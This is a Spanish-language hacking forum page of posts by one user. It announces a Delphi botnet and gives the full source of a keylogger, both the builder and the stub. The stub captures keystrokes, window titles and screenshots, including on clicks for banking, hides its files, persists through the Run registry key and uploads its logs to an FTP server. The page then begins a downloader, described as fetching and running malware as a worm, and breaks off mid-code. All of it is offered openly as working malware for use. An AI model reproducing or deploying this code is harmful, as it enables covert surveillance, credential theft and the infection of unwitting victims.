elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 [13] 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ... 55
121  Programación / Programación General / [Delphi] DH Botnet 0.8 en: 13 Junio 2014, 22:14 pm
Version final de esta botnet con las siguientes opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

Unas imagenes :





Un video con un ejemplo de uso :



Si lo quieren bajar lo pueden hacer de aca.
122  Programación / Programación General / [Delphi] DH KeyCagator 1.0 en: 5 Junio 2014, 18:17 pm
Version final de este keylogger con las siguientes opciones :

  • Captura las teclas minusculas como mayusculas , asi como numeros y las demas teclas
  • Captura el nombre de la ventana actual
  • Captura la pantalla
  • Logs ordenados en un archivo HTML
  • Se puede elegir el directorio en el que se guardan los Logs
  • Se envia los logs por FTP
  • Se oculta los rastros
  • Se carga cada vez que inicia Windows
  • Se puede usar shift+F9 para cargar los logs en la maquina infectada
  • Tambien hice un generador del keylogger que ademas permite ver los logs que estan en el servidor FTP que se usa para el keylogger

Una imagen :



Un video con un ejemplo de uso :



El codigo :

El Generador :

Código
  1. // DH KeyCagator 1.0
  2. // (C) Doddy Hackman 2014
  3. // Keylogger Generator
  4. // Icon Changer based in : "IconChanger" By Chokstyle
  5. // Thanks to Chokstyle
  6.  
  7. unit dhkey;
  8.  
  9. interface
  10.  
  11. uses
  12.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  13.  System.Classes, Vcl.Graphics,
  14.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.jpeg,
  15.  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Imaging.pngimage, IdBaseComponent,
  16.  IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  17.  IdFTP, ShellApi, MadRes;
  18.  
  19. type
  20.  TForm1 = class(TForm)
  21.    Image1: TImage;
  22.    StatusBar1: TStatusBar;
  23.    PageControl1: TPageControl;
  24.    TabSheet1: TTabSheet;
  25.    GroupBox1: TGroupBox;
  26.    GroupBox2: TGroupBox;
  27.    RadioButton1: TRadioButton;
  28.    RadioButton2: TRadioButton;
  29.    ComboBox1: TComboBox;
  30.    Edit2: TEdit;
  31.    GroupBox3: TGroupBox;
  32.    TabSheet2: TTabSheet;
  33.    Edit1: TEdit;
  34.    GroupBox4: TGroupBox;
  35.    CheckBox1: TCheckBox;
  36.    Edit3: TEdit;
  37.    Label1: TLabel;
  38.    TabSheet3: TTabSheet;
  39.    GroupBox5: TGroupBox;
  40.    GroupBox6: TGroupBox;
  41.    CheckBox2: TCheckBox;
  42.    Edit4: TEdit;
  43.    Label2: TLabel;
  44.    GroupBox7: TGroupBox;
  45.    Label3: TLabel;
  46.    Edit5: TEdit;
  47.    Label4: TLabel;
  48.    Edit7: TEdit;
  49.    Label5: TLabel;
  50.    Edit8: TEdit;
  51.    Label6: TLabel;
  52.    Edit6: TEdit;
  53.    TabSheet4: TTabSheet;
  54.    GroupBox8: TGroupBox;
  55.    GroupBox9: TGroupBox;
  56.    Label7: TLabel;
  57.    Edit9: TEdit;
  58.    Label8: TLabel;
  59.    Edit11: TEdit;
  60.    Label9: TLabel;
  61.    Edit12: TEdit;
  62.    Label10: TLabel;
  63.    Edit10: TEdit;
  64.    GroupBox10: TGroupBox;
  65.    Button1: TButton;
  66.    GroupBox12: TGroupBox;
  67.    Button2: TButton;
  68.    CheckBox3: TCheckBox;
  69.    IdFTP1: TIdFTP;
  70.    TabSheet6: TTabSheet;
  71.    GroupBox11: TGroupBox;
  72.    Image2: TImage;
  73.    Memo1: TMemo;
  74.    OpenDialog1: TOpenDialog;
  75.    procedure Button1Click(Sender: TObject);
  76.    procedure FormCreate(Sender: TObject);
  77.    procedure Button2Click(Sender: TObject);
  78.  
  79.  private
  80.    { Private declarations }
  81.  public
  82.    { Public declarations }
  83.  end;
  84.  
  85. var
  86.  Form1: TForm1;
  87.  
  88. implementation
  89.  
  90. {$R *.dfm}
  91. // Functions
  92.  
  93. function dhencode(texto, opcion: string): string;
  94. // Thanks to Taqyon
  95. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  96. var
  97.  num: integer;
  98.  aca: string;
  99.  cantidad: integer;
  100.  
  101. begin
  102.  
  103.  num := 0;
  104.  Result := '';
  105.  aca := '';
  106.  cantidad := 0;
  107.  
  108.  if (opcion = 'encode') then
  109.  begin
  110.    cantidad := length(texto);
  111.    for num := 1 to cantidad do
  112.    begin
  113.      aca := IntToHex(ord(texto[num]), 2);
  114.      Result := Result + aca;
  115.    end;
  116.  end;
  117.  
  118.  if (opcion = 'decode') then
  119.  begin
  120.    cantidad := length(texto);
  121.    for num := 1 to cantidad div 2 do
  122.    begin
  123.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  124.      Result := Result + aca;
  125.    end;
  126.  end;
  127.  
  128. end;
  129.  
  130. //
  131.  
  132. procedure TForm1.Button1Click(Sender: TObject);
  133. var
  134.  i: integer;
  135.  dir: string;
  136.  busqueda: TSearchRec;
  137.  
  138. begin
  139.  
  140.  IdFTP1.Host := Edit9.Text;
  141.  IdFTP1.Username := Edit11.Text;
  142.  IdFTP1.Password := Edit12.Text;
  143.  
  144.  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
  145.  
  146.  try
  147.    begin
  148.      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
  149.      DeleteFile(dir + '\' + busqueda.Name);
  150.      while FindNext(busqueda) = 0 do
  151.      begin
  152.        DeleteFile(dir + '\' + busqueda.Name);
  153.      end;
  154.      FindClose(busqueda);
  155.  
  156.      rmdir(dir);
  157.    end;
  158.  except
  159.    //
  160.  end;
  161.  
  162.  if not(DirectoryExists(dir)) then
  163.  begin
  164.    CreateDir(dir);
  165.  end;
  166.  
  167.  ChDir(dir);
  168.  
  169.  try
  170.    begin
  171.      IdFTP1.Connect;
  172.      IdFTP1.ChangeDir(Edit10.Text);
  173.  
  174.      IdFTP1.List('*.*', True);
  175.  
  176.      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
  177.      begin
  178.        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
  179.          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
  180.      end;
  181.  
  182.      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
  183.  
  184.      IdFTP1.Disconnect;
  185.      IdFTP1.Free;
  186.    end;
  187.  except
  188.    //
  189.  end;
  190.  
  191. end;
  192.  
  193. procedure TForm1.Button2Click(Sender: TObject);
  194. var
  195.  lineafinal: string;
  196.  
  197.  savein_especial: string;
  198.  savein: string;
  199.  foldername: string;
  200.  bankop: string;
  201.  
  202.  capture_op: string;
  203.  capture_seconds: integer;
  204.  
  205.  ftp_op: string;
  206.  ftp_seconds: integer;
  207.  ftp_host_txt: string;
  208.  ftp_user_txt: string;
  209.  ftp_pass_txt: string;
  210.  ftp_path_txt: string;
  211.  
  212.  aca: THandle;
  213.  code: Array [0 .. 9999 + 1] of Char;
  214.  nose: DWORD;
  215.  
  216.  stubgenerado: string;
  217.  op: string;
  218.  change: DWORD;
  219.  valor: string;
  220.  
  221. begin
  222.  
  223.  if (RadioButton1.Checked = True) then
  224.  
  225.  begin
  226.  
  227.    savein_especial := '0';
  228.  
  229.    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  230.    begin
  231.      savein := 'USERPROFILE';
  232.    end
  233.    else
  234.    begin
  235.      savein := ComboBox1.Items[ComboBox1.ItemIndex];
  236.    end;
  237.  
  238.  end;
  239.  
  240.  if (RadioButton2.Checked = True) then
  241.  begin
  242.    savein_especial := '1';
  243.    savein := Edit2.Text;
  244.  end;
  245.  
  246.  foldername := Edit1.Text;
  247.  
  248.  if (CheckBox1.Checked = True) then
  249.  begin
  250.    capture_op := '1';
  251.  end
  252.  else
  253.  begin
  254.    capture_op := '0';
  255.  end;
  256.  
  257.  capture_seconds := StrToInt(Edit3.Text) * 1000;
  258.  
  259.  if (CheckBox2.Checked = True) then
  260.  begin
  261.    ftp_op := '1';
  262.  end
  263.  else
  264.  begin
  265.    ftp_op := '0';
  266.  end;
  267.  
  268.  if (CheckBox3.Checked = True) then
  269.  begin
  270.    bankop := '1';
  271.  end
  272.  else
  273.  begin
  274.    bankop := '0';
  275.  end;
  276.  
  277.  ftp_seconds := StrToInt(Edit4.Text) * 1000;
  278.  
  279.  ftp_host_txt := Edit5.Text;
  280.  ftp_user_txt := Edit7.Text;
  281.  ftp_pass_txt := Edit8.Text;
  282.  ftp_path_txt := Edit6.Text;
  283.  
  284.  lineafinal := '[63686175]' + dhencode('[opsave]' + savein_especial +
  285.    '[opsave]' + '[save]' + savein + '[save]' + '[folder]' + foldername +
  286.    '[folder]' + '[capture_op]' + capture_op + '[capture_op]' +
  287.    '[capture_seconds]' + IntToStr(capture_seconds) + '[capture_seconds]' +
  288.    '[bank]' + bankop + '[bank]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
  289.    '[ftp_seconds]' + IntToStr(ftp_seconds) + '[ftp_seconds]' + '[ftp_host]' +
  290.    ftp_host_txt + '[ftp_host]' + '[ftp_user]' + ftp_user_txt + '[ftp_user]' +
  291.    '[ftp_pass]' + ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt +
  292.    '[ftp_path]', 'encode') + '[63686175]';
  293.  
  294.  aca := INVALID_HANDLE_VALUE;
  295.  nose := 0;
  296.  
  297.  stubgenerado := 'keycagator_ready.exe';
  298.  
  299.  DeleteFile(stubgenerado);
  300.  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  301.    'Data/keycagator.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  302.    stubgenerado), True);
  303.  
  304.  StrCopy(code, PChar(lineafinal));
  305.  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
  306.    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  307.  if (aca <> INVALID_HANDLE_VALUE) then
  308.  begin
  309.    SetFilePointer(aca, 0, nil, FILE_END);
  310.    WriteFile(aca, code, 9999, nose, nil);
  311.    CloseHandle(aca);
  312.  end;
  313.  
  314.  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
  315.  
  316.  if (op = 'Yes') then
  317.  begin
  318.    OpenDialog1.InitialDir := GetCurrentDir;
  319.    if OpenDialog1.Execute then
  320.    begin
  321.  
  322.      try
  323.        begin
  324.  
  325.          valor := IntToStr(128);
  326.  
  327.          change := BeginUpdateResourceW
  328.            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
  329.            stubgenerado)), False);
  330.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  331.            PWideChar(wideString(OpenDialog1.FileName)));
  332.          EndUpdateResourceW(change, False);
  333.          StatusBar1.Panels[0].Text := '[+] Done ';
  334.          StatusBar1.Update;
  335.        end;
  336.      except
  337.        begin
  338.          StatusBar1.Panels[0].Text := '[-] Error';
  339.          StatusBar1.Update;
  340.        end;
  341.      end;
  342.    end
  343.    else
  344.    begin
  345.      StatusBar1.Panels[0].Text := '[+] Done ';
  346.      StatusBar1.Update;
  347.    end;
  348.  end
  349.  else
  350.  begin
  351.    StatusBar1.Panels[0].Text := '[+] Done ';
  352.    StatusBar1.Update;
  353.  end;
  354.  
  355. end;
  356.  
  357. procedure TForm1.FormCreate(Sender: TObject);
  358. begin
  359.  OpenDialog1.InitialDir := GetCurrentDir;
  360.  OpenDialog1.Filter := 'ICO|*.ico|';
  361. end;
  362.  
  363. end.
  364.  
  365. // The End ?
  366.  

El stub.

Código
  1. // DH KeyCagator 1.0
  2. // (C) Doddy Hackman 2014
  3.  
  4. program keycagator;
  5.  
  6. // {$APPTYPE CONSOLE}
  7.  
  8. uses
  9.  SysUtils, Windows, WinInet, ShellApi, Vcl.Graphics, Vcl.Imaging.jpeg;
  10.  
  11. var
  12.  nombrereal: string;
  13.  rutareal: string;
  14.  yalisto: string;
  15.  registro: HKEY;
  16.  dir: string;
  17.  time: integer;
  18.  
  19.  dir_hide: string;
  20.  time_screen: integer;
  21.  time_ftp: integer;
  22.  ftp_host: Pchar;
  23.  ftp_user: Pchar;
  24.  ftp_password: Pchar;
  25.  ftp_dir: Pchar;
  26.  
  27.  carpeta: string;
  28.  directorio: string;
  29.  bankop: string;
  30.  dir_normal: string;
  31.  dir_especial: string;
  32.  ftp_online: string;
  33.  screen_online: string;
  34.  activado: string;
  35.  
  36.  ob: THandle;
  37.  code: Array [0 .. 9999 + 1] of Char;
  38.  nose: DWORD;
  39.  todo: string;
  40.  
  41.  // Functions
  42.  
  43. function regex(text: String; deaca: String; hastaaca: String): String;
  44. begin
  45.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  46.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  47.  Result := text;
  48. end;
  49.  
  50. function dhencode(texto, opcion: string): string;
  51. // Thanks to Taqyon
  52. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  53. var
  54.  num: integer;
  55.  aca: string;
  56.  cantidad: integer;
  57.  
  58. begin
  59.  
  60.  num := 0;
  61.  Result := '';
  62.  aca := '';
  63.  cantidad := 0;
  64.  
  65.  if (opcion = 'encode') then
  66.  begin
  67.    cantidad := Length(texto);
  68.    for num := 1 to cantidad do
  69.    begin
  70.      aca := IntToHex(ord(texto[num]), 2);
  71.      Result := Result + aca;
  72.    end;
  73.  end;
  74.  
  75.  if (opcion = 'decode') then
  76.  begin
  77.    cantidad := Length(texto);
  78.    for num := 1 to cantidad div 2 do
  79.    begin
  80.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  81.      Result := Result + aca;
  82.    end;
  83.  end;
  84.  
  85. end;
  86.  
  87. procedure savefile(filename, texto: string);
  88. var
  89.  ar: TextFile;
  90.  
  91. begin
  92.  
  93.  try
  94.  
  95.    begin
  96.      AssignFile(ar, filename);
  97.      FileMode := fmOpenWrite;
  98.  
  99.      if FileExists(filename) then
  100.        Append(ar)
  101.      else
  102.        Rewrite(ar);
  103.  
  104.      Write(ar, texto);
  105.      CloseFile(ar);
  106.    end;
  107.  except
  108.    //
  109.  end;
  110.  
  111. end;
  112.  
  113. procedure upload_ftpfile(host, username, password, filetoupload,
  114.  conestenombre: Pchar);
  115.  
  116. // Credits :
  117. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  118. // Thanks to Omair Iqbal
  119.  
  120. var
  121.  controluno: HINTERNET;
  122.  controldos: HINTERNET;
  123.  
  124. begin
  125.  
  126.  try
  127.  
  128.    begin
  129.      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  130.      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
  131.        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
  132.      ftpPutFile(controldos, filetoupload, conestenombre,
  133.        FTP_TRANSFER_TYPE_BINARY, 0);
  134.      InternetCloseHandle(controldos);
  135.      InternetCloseHandle(controluno);
  136.    end
  137.  except
  138.    //
  139.  end;
  140.  
  141. end;
  142.  
  143. procedure capturar_pantalla(nombre: string);
  144.  
  145. // Function capturar() based in :
  146. // http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
  147. // http://delphi.about.com/cs/adptips2001/a/bltip0501_4.htm
  148. // http://stackoverflow.com/questions/21971605/show-mouse-cursor-in-screenshot-with-delphi
  149. // Thanks to Zarko Gajic , Luthfi and Ken White
  150.  
  151. var
  152.  aca: HDC;
  153.  tan: TRect;
  154.  posnow: TPoint;
  155.  imagen1: TBitmap;
  156.  imagen2: TJpegImage;
  157.  curnow: THandle;
  158.  
  159. begin
  160.  
  161.  aca := GetWindowDC(GetDesktopWindow);
  162.  imagen1 := TBitmap.Create;
  163.  
  164.  GetWindowRect(GetDesktopWindow, tan);
  165.  imagen1.Width := tan.Right - tan.Left;
  166.  imagen1.Height := tan.Bottom - tan.Top;
  167.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0,
  168.    0, SRCCOPY);
  169.  
  170.  GetCursorPos(posnow);
  171.  
  172.  curnow := GetCursor;
  173.  DrawIconEx(imagen1.Canvas.Handle, posnow.X, posnow.Y, curnow, 32, 32, 0, 0,
  174.    DI_NORMAL);
  175.  
  176.  imagen2 := TJpegImage.Create;
  177.  imagen2.Assign(imagen1);
  178.  imagen2.CompressionQuality := 60;
  179.  imagen2.SaveToFile(nombre);
  180.  
  181.  imagen1.Free;
  182.  imagen2.Free;
  183.  
  184. end;
  185.  
  186. //
  187.  
  188. procedure capturar_teclas;
  189.  
  190. var
  191.  I: integer;
  192.  Result: Longint;
  193.  mayus: integer;
  194.  shift: integer;
  195.  banknow: string;
  196.  
  197. const
  198.  
  199.  n_numeros_izquierda: array [1 .. 10] of string = ('48', '49', '50', '51',
  200.    '52', '53', '54', '55', '56', '57');
  201.  
  202. const
  203.  t_numeros_izquierda: array [1 .. 10] of string = ('0', '1', '2', '3', '4',
  204.    '5', '6', '7', '8', '9');
  205.  
  206. const
  207.  n_numeros_derecha: array [1 .. 10] of string = ('96', '97', '98', '99', '100',
  208.    '101', '102', '103', '104', '105');
  209.  
  210. const
  211.  t_numeros_derecha: array [1 .. 10] of string = ('0', '1', '2', '3', '4', '5',
  212.    '6', '7', '8', '9');
  213.  
  214. const
  215.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  216.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  217.    '291', '220', '221', '222', '226');
  218.  
  219. const
  220.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨', '&',
  221.    '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^', '|');
  222.  
  223. const
  224.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  225.    '188', '189', '190', '191', '192', '193', '219', '220', '221',
  226.    '222', '226');
  227.  
  228. const
  229.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  230.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  231.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  232.  
  233. begin
  234.  
  235.  while (1 = 1) do
  236.  begin
  237.  
  238.    Sleep(time); // Time
  239.  
  240.    try
  241.  
  242.      begin
  243.  
  244.        // Others
  245.  
  246.        for I := Low(n_raros) to High(n_raros) do
  247.        begin
  248.          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
  249.          If Result = -32767 then
  250.          begin
  251.            savefile('logs.html', t_raros[I]);
  252.            if (bankop = '1') then
  253.            begin
  254.              if (t_raros[I] = '[mouse click]') then
  255.              begin
  256.                banknow := IntToStr(Random(10000)) + '.jpg';
  257.                capturar_pantalla(banknow);
  258.                SetFileAttributes(Pchar(dir + '/' + banknow),
  259.                  FILE_ATTRIBUTE_HIDDEN);
  260.  
  261.                savefile('logs.html', '<br><br><center><img src=' + banknow +
  262.                  '></center><br><br>');
  263.  
  264.              end;
  265.            end;
  266.          end;
  267.        end;
  268.  
  269.        // SHIFT
  270.  
  271.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  272.        begin
  273.  
  274.          for I := Low(n_shift) to High(n_shift) do
  275.          begin
  276.            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
  277.            If Result = -32767 then
  278.            begin
  279.              savefile('logs.html', t_shift[I]);
  280.            end;
  281.          end;
  282.  
  283.          for I := 65 to 90 do
  284.          begin
  285.            Result := GetAsyncKeyState(I);
  286.            If Result = -32767 then
  287.            Begin
  288.              savefile('logs.html', Chr(I + 0));
  289.            End;
  290.          end;
  291.  
  292.        end;
  293.  
  294.        // Numbers
  295.  
  296.        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  297.        begin
  298.          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
  299.          If Result = -32767 then
  300.          begin
  301.            savefile('logs.html', t_numeros_derecha[I]);
  302.          end;
  303.        end;
  304.  
  305.        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  306.        begin
  307.          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
  308.          If Result = -32767 then
  309.          begin
  310.            savefile('logs.html', t_numeros_izquierda[I]);
  311.          end;
  312.        end;
  313.  
  314.        // MAYUS
  315.  
  316.        if (GetKeyState(20) = 0) then
  317.        begin
  318.          mayus := 32;
  319.        end
  320.        else
  321.        begin
  322.          mayus := 0;
  323.        end;
  324.  
  325.        for I := 65 to 90 do
  326.        begin
  327.          Result := GetAsyncKeyState(I);
  328.          If Result = -32767 then
  329.          Begin
  330.            savefile('logs.html', Chr(I + mayus));
  331.          End;
  332.        end;
  333.      end;
  334.    except
  335.      //
  336.    end;
  337.  
  338.  end;
  339. end;
  340.  
  341. procedure capturar_ventanas;
  342. var
  343.  ventana1: array [0 .. 255] of Char;
  344.  nombre1: string;
  345.  Nombre2: string; //
  346. begin
  347.  while (1 = 1) do
  348.  begin
  349.  
  350.    try
  351.  
  352.      begin
  353.        Sleep(time); // Time
  354.  
  355.        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
  356.  
  357.        nombre1 := ventana1;
  358.  
  359.        if not(nombre1 = Nombre2) then
  360.        begin
  361.          Nombre2 := nombre1;
  362.          savefile('logs.html', '<hr style=color:#00FF00><h2><center>' + Nombre2
  363.            + '</h2></center><br>');
  364.        end;
  365.  
  366.      end;
  367.    except
  368.      //
  369.    end;
  370.  end;
  371.  
  372. end;
  373.  
  374. procedure capturar_pantallas;
  375. var
  376.  generado: string;
  377. begin
  378.  while (1 = 1) do
  379.  begin
  380.  
  381.    Sleep(time_screen);
  382.  
  383.    generado := IntToStr(Random(10000)) + '.jpg';
  384.  
  385.    try
  386.  
  387.      begin
  388.        capturar_pantalla(generado);
  389.      end;
  390.    except
  391.      //
  392.    end;
  393.  
  394.    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
  395.  
  396.    savefile('logs.html', '<br><br><center><img src=' + generado +
  397.      '></center><br><br>');
  398.  
  399.  end;
  400. end;
  401.  
  402. procedure subirftp;
  403. var
  404.  busqueda: TSearchRec;
  405. begin
  406.  while (1 = 1) do
  407.  begin
  408.  
  409.    try
  410.  
  411.      begin
  412.        Sleep(time_ftp);
  413.  
  414.        upload_ftpfile(ftp_host, ftp_user, ftp_password,
  415.          Pchar(dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
  416.  
  417.        FindFirst(dir + '*.jpg', faAnyFile, busqueda);
  418.  
  419.        upload_ftpfile(ftp_host, ftp_user, ftp_password,
  420.          Pchar(dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  421.        while FindNext(busqueda) = 0 do
  422.        begin
  423.          upload_ftpfile(ftp_host, ftp_user, ftp_password,
  424.            Pchar(dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  425.        end;
  426.      end;
  427.    except
  428.      //
  429.    end;
  430.  end;
  431. end;
  432.  
  433. procedure control;
  434. var
  435.  I: integer;
  436.  re: Longint;
  437. begin
  438.  
  439.  while (1 = 1) do
  440.  begin
  441.  
  442.    try
  443.  
  444.      begin
  445.  
  446.        Sleep(time);
  447.  
  448.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  449.        begin
  450.  
  451.          re := GetAsyncKeyState(120);
  452.          If re = -32767 then
  453.          Begin
  454.  
  455.            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
  456.              SW_SHOWNORMAL);
  457.  
  458.          End;
  459.        end;
  460.      end;
  461.    except
  462.      //
  463.    end;
  464.  End;
  465. end;
  466.  
  467. //
  468.  
  469. begin
  470.  
  471.  try
  472.  
  473.    // Config
  474.  
  475.    try
  476.  
  477.      begin
  478.  
  479.        // Edit
  480.  
  481.        ob := INVALID_HANDLE_VALUE;
  482.        code := '';
  483.  
  484.        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
  485.          OPEN_EXISTING, 0, 0);
  486.        if (ob <> INVALID_HANDLE_VALUE) then
  487.        begin
  488.          SetFilePointer(ob, -9999, nil, FILE_END);
  489.          ReadFile(ob, code, 9999, nose, nil);
  490.          CloseHandle(ob);
  491.        end;
  492.  
  493.        todo := regex(code, '[63686175]', '[63686175]');
  494.        todo := dhencode(todo, 'decode');
  495.  
  496.        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
  497.        directorio := regex(todo, '[save]', '[save]');
  498.        carpeta := regex(todo, '[folder]', '[folder]');
  499.        bankop := regex(todo, '[bank]', '[bank]');
  500.        screen_online := regex(todo, '[capture_op]', '[capture_op]');
  501.        time_screen := StrToInt(regex(todo, '[capture_seconds]',
  502.          '[capture_seconds]'));
  503.        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  504.        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
  505.        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  506.        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  507.        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  508.        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  509.  
  510.        dir_normal := dir_especial;
  511.  
  512.        time := 100; // Not Edit
  513.  
  514.        if (dir_normal = '1') then
  515.        begin
  516.          dir_hide := directorio;
  517.        end
  518.        else
  519.        begin
  520.          dir_hide := GetEnvironmentVariable(directorio) + '/';
  521.        end;
  522.  
  523.        dir := dir_hide + carpeta + '/';
  524.  
  525.        if not(DirectoryExists(dir)) then
  526.        begin
  527.          CreateDir(dir);
  528.        end;
  529.  
  530.        ChDir(dir);
  531.  
  532.        nombrereal := ExtractFileName(paramstr(0));
  533.        rutareal := dir;
  534.        yalisto := dir + nombrereal;
  535.  
  536.        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
  537.  
  538.        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
  539.  
  540.        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  541.  
  542.        savefile(dir + '/logs.html', '');
  543.  
  544.        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  545.  
  546.        savefile('logs.html',
  547.          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  548.  
  549.        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  550.          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  551.          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  552.        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
  553.        RegCloseKey(registro);
  554.      end;
  555.    except
  556.      //
  557.    end;
  558.  
  559.    // End
  560.  
  561.    // Start the party
  562.  
  563.    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
  564.    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
  565.  
  566.    if (screen_online = '1') then
  567.    begin
  568.      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
  569.    end;
  570.    if (ftp_online = '1') then
  571.    begin
  572.      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
  573.    end;
  574.  
  575.    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
  576.  
  577.    // Readln;
  578.  
  579.    while (1 = 1) do
  580.      Sleep(time);
  581.  
  582.  except
  583.    //
  584.  end;
  585.  
  586. end.
  587.  
  588. // The End ?
  589.  

Si lo quieren bajar lo pueden hacer de aca.
123  Programación / Programación General / [Delphi] DH Downloader 0.8 en: 29 Mayo 2014, 22:53 pm
Version final de este programa para bajar y ejecutar malware , tiene dos formas de usarse la primera es teniendo el programa en un USB y bajar discretamente malware desde una url para despues ocultarle u otras cosas , la otra forma de usarla es generando una especie de "worm" que va a bajar el malware desde una url especifica , este "worm" puede ser usado tranquilamente en un binder o por separado para usarlo sin ningun problema.
 
Una imagen :



Un video con un ejemplo de uso :



Los codigos :

El USB Mode :

Código
  1. // DH Downloader 0.8
  2. // (C) Doddy Hackman 2014
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  10.  System.Classes, Vcl.Graphics,
  11.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  12.  Vcl.ExtCtrls,
  13.  Vcl.Imaging.pngimage, IdBaseComponent, IdComponent, IdTCPConnection,
  14.  IdTCPClient, IdHTTP, Registry, ShellApi, MadRes;
  15.  
  16. type
  17.  TForm1 = class(TForm)
  18.    PageControl1: TPageControl;
  19.    TabSheet1: TTabSheet;
  20.    TabSheet2: TTabSheet;
  21.    TabSheet3: TTabSheet;
